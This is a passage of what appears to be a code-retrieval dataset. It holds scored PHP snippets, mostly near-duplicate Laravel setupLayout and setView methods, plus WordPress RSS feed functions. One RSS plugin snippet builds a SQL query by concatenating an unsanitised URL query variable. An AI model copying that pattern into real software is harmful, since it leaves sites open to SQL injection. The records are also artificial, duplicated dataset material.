}, { "docid": "0ae96cebe41a4afd9d221b5fa0dadad3", "score": "0.7126499", "text": "protected function setupLayout() {\n if (!is_null($this->layout)) $this->layout = View::make($this->layout);\n }", "title": "" }, { "docid": "e4b2e19125414f15577ae98f563ca7de", "score": "0.7122379", "text": "protected function setupLayout() {\n if ( ! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "a521199f7cc54dbf1d1f81ec1c86ff7b", "score": "0.7121181", "text": "protected function setupLayout() {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "a521199f7cc54dbf1d1f81ec1c86ff7b", "score": "0.7121181", "text": "protected function setupLayout() {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "a521199f7cc54dbf1d1f81ec1c86ff7b", "score": "0.7121181", "text": "protected function setupLayout() {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "8eb9b0349bb8917bbca5a3843b893f2e", "score": "0.7119265", "text": "public function setView($view)\n\t{\n\t\t$this->view = $view;\n\t}", "title": "" }, { "docid": "7488e7c545a3e91553e0f072b0b0378b", "score": "0.7102683", "text": "protected function setupLayout()\n {\n if (! is_null($this->layout)) {\n $this->layout = view($this->layout);\n }\n }", "title": "" }, { "docid": "712f7a0780ede4802d39d3c5d79a053d", "score": "0.7100915", "text": "public function setView($view)\n {\n $this->_view = $view;\n }", "title": "" }, { "docid": "40fad8224f68413feb61db1634681312", "score": "0.70974785", "text": "protected function setupLayout()\r\n\t{\r\n\t\tif ( ! is_null($this->layout))\r\n\t\t{\r\n\t\t\t$this->layout = View::make($this->layout);\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "94e052e8c0b84eb7282ce43e760b904b", "score": "0.70886725", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "0cddebe4c0d08ea13b328f04417b0587", "score": "0.70825535", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "0cddebe4c0d08ea13b328f04417b0587", "score": "0.70825535", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "ab19b65fcb5316c2dee81b51104cdf03", "score": "0.7078957", "text": "protected function setupLayout()\n {\n if (! is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "f7aa64561943efca48c86c874bbfd5c8", "score": "0.7076879", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "e3341126a84e59b1f813095cc29abaec", "score": "0.70601535", "text": "public function setView($view) \n {\n $this->_currentView = $view;\n }", "title": "" }, { "docid": "ee8bee469d3d7887abbf7c60a826c994", "score": "0.7059796", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "cbe84fdfce6ede4337ea7ad0153bbe49", "score": "0.70597", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "cbe84fdfce6ede4337ea7ad0153bbe49", "score": "0.70597", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "cbe84fdfce6ede4337ea7ad0153bbe49", "score": "0.70597", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "e5f5ff86ab3b5132041d6586117e505f", "score": "0.70545894", "text": "protected function setupLayout()\n {\n if ( ! is_null($this->layout))\n {\n $this->layout = View::make($this->layout);\n }\n }", "title": "" }, { "docid": "98a18e6a948b3f3e5438b79c03824525", "score": "0.70401525", "text": "protected function setupLayout() {\n\t\tif (!is_null($this->layout)) {\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "0235e493195c7ed354d4c0afc041c728", "score": "0.703312", "text": "protected function setupLayout ()\n\t{\n\t\tif (!is_null ($this->layout)) {\n\t\t\t$this->layout = View::make ($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "2fb29d90124fc709056799b53b2c44e1", "score": "0.7029063", "text": "protected function setupLayout()\n\t{\n if ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "76619cec18ff852d8538cae521ed7bea", "score": "0.7022315", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout)) {\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "fe2e2702b20dc3f98293731720ce47c3", "score": "0.7021577", "text": "function setView() {\n\t\t$this->view_data = $this->getViewData();\n\t\t$template = $this->get404Template() . 'tpl';\n\t\tif ( \n\t\t\tis_object( $this->view_data ) && \n\t\t\tproperty_exists( $this->view_data, 'template' ) && \n\t\t\t!empty( $this->view_data->template )\n\t\t) {\n\t\t\t$template_file = $this->getTemplateDir() . '/' . $this->view_data->template . '.tpl';\n\t\t\t$template = file_exists( $template_file ) ?\n\t\t\t\t$this->view_data->template . '.tpl':\n\t\t\t\t'string: '. $this->view_data->template;\n\t\t}\n\t\t$this->View = $this->Smarty->createTemplate( $template );\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "70338641a25de5b5fc7c8b4fa318ca9b", "score": "0.7015089", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "99f6abfb761fed9affbd66664a288bfb", "score": "0.7010559", "text": "protected function setupLayout() {\n\t\tif (!is_null($this->layout)) {\n\t\t\t$this->layout = view($this->layout, [\n\t\t\t\t'language' => config('app.language', 'en'),\n\t\t\t\t'id' => $this->id,\n\t\t\t\t'class' => '',\n\t\t\t\t'title' => $this->title\n\t\t\t]);\n\t\t}\n\t}", "title": "" }, { "docid": "d17b2882c6d29e1f6e08bcbea707af56", "score": "0.70087934", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = view($this->layout);\n\t\t}\n\t}", "title": "" }, { "docid": "b9fdb42c7d93c53b4fd03308f5204696", "score": "0.697186", "text": "public function setView($view)\n {\n if ($view instanceof Zend_View) {\n $this->_view = $view;\n }\n }", "title": "" }, { "docid": "52e52e6d1530f270ffe3cec97a8df1b6", "score": "0.69661736", "text": "protected function setupLayout()\n\t\t{\n\t\t\tif ( ! is_null($this->layout))\n\t\t\t{\n\t\t\t\t$this->setGlobalViewdata();\n\t\t\t\t$this->layout = View::make($this->layout);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "481b6b6aadc361b892aaa75454bebb26", "score": "0.691086", "text": "protected function setupLayout() {\n if( ! is_null($this->layout)) {\n $this->layout = View::make($this->layout, array (\n 'menu' => $this->initMenu()\n ));\n }\n }", "title": "" }, { "docid": "96d50872590d067aa03bafa82bd34d9d", "score": "0.69059455", "text": "protected function setView($view)\n {\n $this->view = VIEWS.\"/\".$view.\".html\";\n }", "title": "" }, { "docid": "2a327cf4bcebf5733977c0b0b6c05ef1", "score": "0.6901059", "text": "protected function setupLayout()\n\t{\n\n\t\t// Set Layout\n\t\tif (!is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\n\t}", "title": "" }, { "docid": "5b42e4e66e310edade3aa08d5e5bbd89", "score": "0.6859328", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n\t\t}\n\n\t\t$this->layout->templates = $this->get_templates();\n $this->layout->environment = App::environment();\n\n\t}", "title": "" }, { "docid": "b03ca6d149ff0aa3b411c4257b1cdda9", "score": "0.6848998", "text": "protected function setupLayout()\n\t{\n if ( ! is_null($this->layout))\n\t\t{\n\t\t\t$this->layout = View::make($this->layout);\n //TODO:move to admin only\n $this->layout->with('custom_config',Config::get('::app.custom_config'));\n\t\t}\n\t}", "title": "" }, { "docid": "07bc0ef59234afe46dc13a700703a65e", "score": "0.68368196", "text": "public function setView(One_View $view)\n\t{\n\t\t$this->view = $view;\n\t}", "title": "" }, { "docid": "233c9d76203318a48280b007124af929", "score": "0.6771933", "text": "function setLayout($layout) {\n $this->_view->setLayout($layout);\n }", "title": "" }, { "docid": "62756245783918706257a6a6856a32cd", "score": "0.6765728", "text": "protected function setupLayout()\n {\n if (!is_null($this->layout)) {\n $this->layout = View::make($this->layout);\n $this->layout->sidebar = (isset($this->sidebar)) ? View::make($this->sidebar) : null;\n }\n\n View::share('site_name', $this->config['site_name']);\n View::share('path', $this->config['path']);\n }", "title": "" }, { "docid": "f9f27ef26a065ee9ca8ff0cb78b435e0", "score": "0.6762115", "text": "public function setupLayout()\n\t{\n\t\tif ($this->route == null) {\n\t\t\t$route = Route::getContainer()->router->currentRouteAction();\n\t\t\t$this->route = $this->cleanRoute($route);\n\t\t}\n\n\t\t// if (strpos($this->route, 'rss') !== false) {\n\t\t// \t$this->layout = View::make($this->layoutOptions['rss']);\n\t\t// } else {\n\t\t\tif ( is_null($this->layout) ) {\n\t\t\t\tif ( Request::ajax()) {\n\t\t\t\t\t$this->layout = View::make($this->layoutOptions['ajax']);\n\t\t\t\t} else {\n\t\t\t\t\t$this->layout = View::make($this->layoutOptions['default']);\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t$this->layout = View::make($this->layout);\n\t\t\t}\n\t\t// }\n\n\t\t$this->data['activeUser'] = $this->activeUser;\n\n\t\t$this->layout->pageTitle = $this->pageTitle;\n\t\t$this->layout->activeUser = $this->activeUser;\n\t}", "title": "" }, { "docid": "94410492f031cae99a117b6acd914d9d", "score": "0.6761005", "text": "public function setView($view){\n if (!is_string($view) || empty($view)){\n throw new \\InvalidArgumentException('La vue doit être une chaine de caractères valide');\n }\n $this->view = $view;\n $this->page->setContentFile(dirname(__FILE__).'/../Applications/Modules/'.$this->module.'/'.$this->app->name().'/Views/'.ucfirst($this->view).'.tpl.php');\n }", "title": "" }, { "docid": "d2deadceb7596cd545351510a5e9cf6b", "score": "0.67241436", "text": "protected function setView ($view, $template) {\n $this->view = new View($GLOBALS['CFG']->views . $view . '.php', $GLOBALS['CFG']->templates . $template . '.php');\n }", "title": "" }, { "docid": "2b46ea47399231746d864108b91eb046", "score": "0.6716052", "text": "abstract function setLayout();", "title": "" }, { "docid": "686cfd5173bedc4b3137a74dc68b4414", "score": "0.6715672", "text": "public function setView(string $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "3a857c780c66bf04d9f105dca1526b90", "score": "0.6714862", "text": "protected function setupLayout()\n\t{\n\t\tif ( ! is_null($this->layout))\n\t\t{\t\n\t\t\t$this->layout = View::make($this->layout,compact('general'));\n\t\t}\n\t}", "title": "" }, { "docid": "170d41ea3ac122a992b6c056ab74a6d8", "score": "0.67063355", "text": "public function setView(AnimusView $view) {\n $this->log(\"Entering method \".__METHOD__);\n $this->log(\"Exiting method \".__METHOD__);\n $this->_view = $view;\n }", "title": "" }, { "docid": "babfa8a4312c2652d246f75537beba6e", "score": "0.6689693", "text": "public function setView (Zend_View_Interface $view) {\n $this->view = $view;\n }", "title": "" }, { "docid": "cf5517541793768c2ef9d11d12857808", "score": "0.6650961", "text": "public function setView(View $view = null)\n {\n if (!$view instanceof View) {\n $bootstrap = Front::getInstance()->getBootstrap();\n if ($bootstrap->hasResource('view')) {\n $view = $bootstrap->getResource('view');\n }\n else {\n $view = new View();\n }\n }\n\n $this->_view = $view;\n\n return $this;\n }", "title": "" }, { "docid": "0545f6c8d7ca4664579a01b5516ca86b", "score": "0.6650843", "text": "public function setView (Zend_View_Interface $view)\r\n {\r\n $this->view = $view;\r\n }", "title": "" }, { "docid": "7481da32357002aa51093af396bb7caf", "score": "0.6648551", "text": "protected function setupLayout()\n {\n $this->layout = View::make(Config::get('syntara::views.master'));\n $this->layout->title = 'Syntara - Dashboard';\n $this->layout->breadcrumb = array();\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" }, { "docid": "a8bff6c4c3305b0b063ecf0669864109", "score": "0.66410553", "text": "public function setView (Zend_View_Interface $view)\n {\n $this->view = $view;\n }", "title": "" } ]
48829c68bf713b0eba524bc3e54292ba
end rss_head hooked into the bloginfo_rss filter to override the description of the feed based on the term authority record
[ { "docid": "d99b36191e67d8aef0e69e2198a075a8", "score": "0.6487421", "text": "public function bloginfo_rss_filter( $data, $which )\n\t{\n\t\tif ( 'description' != $which )\n\t\t{\n\t\t\treturn $data;\n\t\t}//end if\n\n\t\t$authority = $this->queried_authority_data();\n\n\t\tif ( ! $authority || is_wp_error( $authority->post ) )\n\t\t{\n\t\t\treturn $data;\n\t\t}//end if\n\n\t\treturn wp_kses( $authority->post->post_excerpt, array() );\n\t}", "title": "" } ]
[ { "docid": "b43dfb9a1e507f708dcf9058bb62d1e9", "score": "0.65399134", "text": "function x_theme_rss_map_term_rss($term, $children) {\n $out = '';\n if($term) {\n $alt = check_plain($term->name).' RSS Feed';\n $out .= '<li>' .\n l(' <img src=\"/misc/xml.png\" alt=\"'.$alt.'\" title=\"'.$alt.'\" width=\"36\" height=\"14\"> ', 'taxonomy/term/'.$term->tid.'/0/feed', array(), NULL, NULL, TRUE, TRUE ) .\n l(t($term->name), 'taxonomy/term/'.$term->tid) .\n $children .\n '</li>';\n }\n return $out;\n}", "title": "" }, { "docid": "72cc644d34f53b7ef5cceeaa71813267", "score": "0.646485", "text": "public function rss_head()\n\t{\n\t\t$authority = $this->queried_authority_data();\n\n\t\tif ( ! $authority || is_wp_error( $authority->post ) )\n\t\t{\n\t\t\treturn;\n\t\t}//end if\n\n\t\tif ( has_post_thumbnail( $authority->post->ID ) )\n\t\t{\n\t\t\t$image_url = wp_get_attachment_image_src( get_post_thumbnail_id( $authority->post->ID ), 'large' );\n\t\t\t$image_url = $image_url[0];\n\n\t\t\t$image = '<image>';\n\t\t\t$image .= '<url>' . esc_url( $image_url ) . '</url>';\n\t\t\t$image .= '<title>' . wp_kses( $authority->post->post_title, array() ) . '</title>';\n\t\t\t$image .= '<link>' . esc_url( get_permalink( $authority->post->ID ) ) . '</link>';\n\t\t\t$image .= '</image>';\n\n\t\t\t// inject an itunes image, too\n\t\t\t$image .= '<itunes:image href=\"' . esc_url( $image_url ) . '\" />';\n\n\t\t\techo $image;\n\n\t\t\tunset( $image, $image_url );\n\t\t}//end if\n\t}", "title": "" }, { "docid": "1ccae2a17f291a38ae8569fc95562cb1", "score": "0.62550664", "text": "function crmpress_do_site_description() {\n\n\t\techo apply_filters( 'crmpress_description', __( get_bloginfo( 'description' ), 'crmpress' ) );\n\n}", "title": "" }, { "docid": "c8e994f208bcf1507d4569a10645ad0c", "score": "0.6182099", "text": "public function wp_head()\n\t{\n\t\t$authority = $this->queried_authority_data();\n\n\t\tif ( $authority && ! is_wp_error( $authority->post ) && ! empty( $authority->post->post_excerpt ) )\n\t\t{\n\t\t\techo '<meta name=\"description\" content=\"' . esc_attr( $authority->post->post_excerpt ) . '\">';\n\t\t}//end if\n\t}", "title": "" }, { "docid": "ef11fe5df1e1ef40637c337c42d86560", "score": "0.6142925", "text": "function wpHead()\n\t\t{\n\t\t\tglobal $wpdb, $wp_query;\n\t\t\t$options = get_option( 'rss_feeder' );\n\t\t\t$rssFeeder = get_query_var( 'rssfeeder' );\n\t\t\tif ( empty( $rssFeeder ) ) {\n\t\t\t\techo \"\\r\\n\";\n\t\t\t\t$sql = \"SELECT title, url FROM \" . $wpdb->prefix . \"rss_feeder_external WHERE active = '1';\";\n\t\t\t\t$results = $wpdb->get_results( $sql, ARRAY_A );\n\t\t\t\tif ( count( $results ) > 0 ) {\n\t\t\t\t\tforeach ( $results as $result ) {\n\t\t\t\t\t\techo '<link rel=\"alternate\" type=\"application/rss+xml\" title=\"' . htmlentities( $result['title'] ) . '\" href=\"' . $result['url'] . '\"/>' . \"\\r\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$sql = \"SELECT title, link FROM \" . $wpdb->prefix . \"rss_feeder_custom WHERE active = '1';\";\n\t\t\t\t$results = $wpdb->get_results( $sql, ARRAY_A );\n\t\t\t\tif ( count( $results ) > 0 ) {\n\t\t\t\t\tforeach ( $results as $result ) {\n\t\t\t\t\t\techo '<link rel=\"alternate\" type=\"application/rss+xml\" title=\"' . htmlentities( $result['title'] ) . '\" href=\"' . $this->getFeedPermalink( stripslashes( $result['link'] ) ) . '\"/>' . \"\\r\\n\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tob_end_flush;\n\t\t\t} else {\n\t\t\t\t$sql = \"SELECT * FROM \" . $wpdb->prefix . \"rss_feeder_custom WHERE link='\" . $rssFeeder . \"';\";\n\t\t\t\t$headerResult = $wpdb->get_row( $sql, ARRAY_A );\n\t\t\t\tif ( count( $headerResult ) > 0 ) {\n\t\t\t\t\tob_end_clean();\n\t\t\t\t\tif ( isset( $options['google_analytics'] ) && !empty( $options['google_analytics'] ) ) {\n\t\t\t\t\t\tif ( !class_exists( 'Galvanize' ) ) require_once( RSS_FEEDER_PATH . 'includes/Galvanize.php' );\n\t\t\t\t\t\t$googleAnalytics = new Galvanize( $options['google_analytics'] );\n\t\t\t\t\t\t$googleAnalytics->trackPageView( str_replace( '%link%', $headerResult['link'], $options['permalink'] ), $headerResult['title'] );\n\t\t\t\t\t}\n\t\t\t\t\theader( 'Content-type: application/rss+xml' );\n\t\t\t\t\techo '<?xml version=\\'1.0\\'?>' . \"\\r\\n\";\n\t?>\n\t<rss version=\"2.0\"\n\t\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\t\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\t\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\t\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\t\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\t>\n\t<channel>\n\t<title><?php echo stripslashes( $headerResult['title'] ); ?></title>\n\t<link><?php echo $this->getFeedPermalink( stripslashes( $headerResult['link'] ) ); ?></link>\n\t<description><?php echo $headerResult['description']; ?></description>\n\t<generator><?php _e( 'Wordpress RSS Feeder' ); ?></generator>\n\t<atom:link href=\"<?php echo $this->getFeedPermalink( stripslashes( $headerResult['link'] ) ); ?>\" rel=\"self\" type=\"application/rss+xml\"/>\n\t<language>en</language>\n\t<sy:updatePeriod>hourly</sy:updatePeriod>\n\t<sy:updateFrequency>1</sy:updateFrequency>\n\t<?php\n\t\t\t\t\tif ( !empty( $headerResult['categories'] ) ) {\n\t\t\t\t\t\t$categories = explode( ',', $headerResult['categories'] );\n\t\t\t\t\t\tforeach ( $categories as $category ) {\n\t?>\n\t<category><![CDATA[<?php echo stripslashes( $category ); ?>]]></category>\n\t<?php\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t$sql = \"SELECT * FROM \" . $wpdb->prefix . \"rss_feeder_custom_items WHERE feed_id='\" . $headerResult['id'] . \"' AND pubdate<=NOW() ORDER BY pubdate DESC;\";\n\t\t\t\t\t$itemResults = $wpdb->get_results( $sql, ARRAY_A );\n\t\t\t\t\tif ( count( $itemResults ) > 0 ) {\n\t\t\t\t\t\t$pubDateArray = strptime( stripslashes( $itemResults[0]['pubdate'] ), '%Y-%m-%d %H:%M:%S' );\n\t\t\t\t\t\t$pubDate = mktime( $pubDateArray['tm_hour'], $pubDateArray['tm_min'], $pubDateArray['tm_sec'], $pubDateArray['tm_mon'] + 1, $pubDateArray['tm_mday'], $pubDateArray['tm_year'] + 1900 );\n\t?>\n\t<pubDate><?php echo date( 'r', $pubDate ); ?></pubDate>\n\t<?php\n\t\t\t\t\t\tforeach ( $itemResults as $itemResult ) {\n\t\t\t\t\t\t\t$pubDateArray = strptime( stripslashes( $itemResult['pubdate'] ), '%Y-%m-%d %H:%M:%S' );\n\t\t\t\t\t\t\t$pubDate = mktime( $pubDateArray['tm_hour'], $pubDateArray['tm_min'], $pubDateArray['tm_sec'], $pubDateArray['tm_mon'] + 1, $pubDateArray['tm_mday'], $pubDateArray['tm_year'] + 1900 );\n\t?>\n\t<item>\n\t\t<title><?php echo stripslashes( $itemResult['title'] ); ?></title>\n\t\t<link><?php echo ( empty( $itemResult['link'] ) ? $this->getFeedPermalink( stripslashes( $headerResult['link'] ) ) : stripslashes( $itemResult['link'] ) ); ?></link>\n\t\t<pubDate><?php echo date( 'r', $pubDate ); ?></pubDate>\n\t<?php\n\t\t\t\t\t\t\tif ( !empty( $itemResult['categories'] ) ) {\n\t\t\t\t\t\t\t\t$categories = explode( ',', $itemResult['categories'] );\n\t\t\t\t\t\t\t\tforeach ( $categories as $category ) {\n\t?>\n\t\t<category><![CDATA[<?php echo stripslashes( $category ); ?>]]></category>\n\t<?php\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t?>\n\t\t<guid isPermaLink=\"false\"><?php echo 'rf-' . $itemResult['feed_id'] . '-' . $itemResult['id']; ?></guid>\n\t<?php if ( !empty( $itemResult['description'] ) ) { ?>\n\t\t<description><![CDATA[<?php echo stripslashes( 